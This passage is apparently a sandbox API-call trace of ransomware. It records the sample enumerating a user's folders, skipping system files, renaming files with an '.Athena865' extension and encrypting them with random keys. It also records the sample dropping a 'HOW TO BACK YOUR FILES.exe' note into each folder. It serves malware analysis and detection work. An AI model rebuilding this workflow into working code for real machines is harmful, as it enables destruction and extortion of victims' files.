[0101.904] lstrlenW (lpString="db-journal") returned 10 [0101.904] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1 [0101.904] lstrlenW (lpString="db-shm") returned 6 [0101.904] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1 [0101.904] lstrlenW (lpString="db-wal") returned 6 [0101.904] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1 [0101.904] lstrlenW (lpString="dbc") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.904] lstrlenW (lpString="dbs") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.904] lstrlenW (lpString="dbt") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.904] lstrlenW (lpString="dbv") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.904] lstrlenW (lpString="dbx") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.904] lstrlenW (lpString="dcb") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Athena865") returned 104 [0101.905] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.athena865"), dwFlags=0x1) returned 1 [0101.906] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.906] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.907] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.907] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.907] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.908] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.910] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.910] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.911] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.911] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0101.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.912] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.912] CloseHandle (hObject=0x17c) returned 1 [0101.912] CloseHandle (hObject=0x154) returned 1 [0101.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.912] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="..") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="windows") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="bootmgr") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="temp") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="pagefile.sys") returned 1 [0101.912] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="boot") returned 1 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ids.txt") returned 1 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ntuser.dat") returned 1 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="perflogs") returned 1 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="MSBuild") returned 1 [0101.913] lstrlenW (lpString="Windows Live Mail.url") returned 21 [0101.913] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Windows Live Mail.url" | out: lpString1="Windows Live Mail.url") returned="Windows Live Mail.url" [0101.913] lstrlenW (lpString="Windows Live Mail.url") returned 21 [0101.913] lstrlenW (lpString="Athena865") returned 9 [0101.913] lstrcmpiW (lpString1=" Mail.url", lpString2="Athena865") returned -1 [0101.913] lstrlenW (lpString=".dll") returned 4 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".dll") returned 1 [0101.913] lstrlenW (lpString=".lnk") returned 4 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".lnk") returned 1 [0101.913] lstrlenW (lpString=".ini") returned 4 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".ini") returned 1 [0101.913] lstrlenW (lpString=".sys") returned 4 [0101.913] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".sys") returned 1 [0101.913] lstrlenW (lpString="Windows Live Mail.url") returned 21 [0101.913] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Athena865") returned 101 [0101.913] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.athena865"), dwFlags=0x1) returned 1 [0101.914] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.914] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.915] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.915] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.915] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.916] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.918] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.919] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.919] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0101.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.920] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.920] CloseHandle (hObject=0x17c) returned 1 [0101.920] CloseHandle (hObject=0x154) returned 1 [0101.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.920] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="..") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="windows") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="bootmgr") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="temp") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="pagefile.sys") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="boot") returned 1 [0101.920] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ids.txt") returned 1 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ntuser.dat") returned 1 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="perflogs") returned 1 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="MSBuild") returned 1 [0101.921] lstrlenW (lpString="Windows Live Spaces.url") returned 23 [0101.921] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Windows Live Spaces.url" | out: lpString1="Windows Live Spaces.url") returned="Windows Live Spaces.url" [0101.921] lstrlenW (lpString="Windows Live Spaces.url") returned 23 [0101.921] lstrlenW (lpString="Athena865") returned 9 [0101.921] lstrcmpiW (lpString1="paces.url", lpString2="Athena865") returned 1 [0101.921] lstrlenW (lpString=".dll") returned 4 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".dll") returned 1 [0101.921] lstrlenW (lpString=".lnk") returned 4 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".lnk") returned 1 [0101.921] lstrlenW (lpString=".ini") returned 4 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".ini") returned 1 [0101.921] lstrlenW (lpString=".sys") returned 4 [0101.921] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".sys") returned 1 [0101.921] lstrlenW (lpString="Windows Live Spaces.url") returned 23 [0101.921] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Athena865") returned 103 [0101.921] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.athena865"), dwFlags=0x1) returned 1 [0101.922] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.923] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.923] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.924] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.924] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.924] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.927] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.927] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.928] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.928] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0101.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.929] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.929] CloseHandle (hObject=0x17c) returned 1 [0101.929] CloseHandle (hObject=0x154) returned 1 [0101.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.929] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0101.929] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.929] ReleaseMutex (hMutex=0xec) returned 1 [0101.929] CloseHandle (hObject=0xec) returned 1 [0101.929] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe" [0101.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0101.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4d0 | out: hHeap=0x4f0000) returned 1 [0101.929] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe") returned 67 [0101.929] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B3634153616BE44AD445D95220193B02") returned 0xec [0101.929] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.929] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe" [0101.929] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.930] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.930] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.930] GetLastError () returned 0x0 [0101.930] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.930] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.931] CloseHandle (hObject=0xf4) returned 1 [0101.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.931] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.931] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.931] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.932] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.932] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.932] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.932] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.932] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.932] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0101.932] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0101.932] lstrlenW (lpString="Acrobat") returned 7 [0101.932] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat" [0101.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4d0 [0101.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53d400 [0101.932] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0101.932] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: 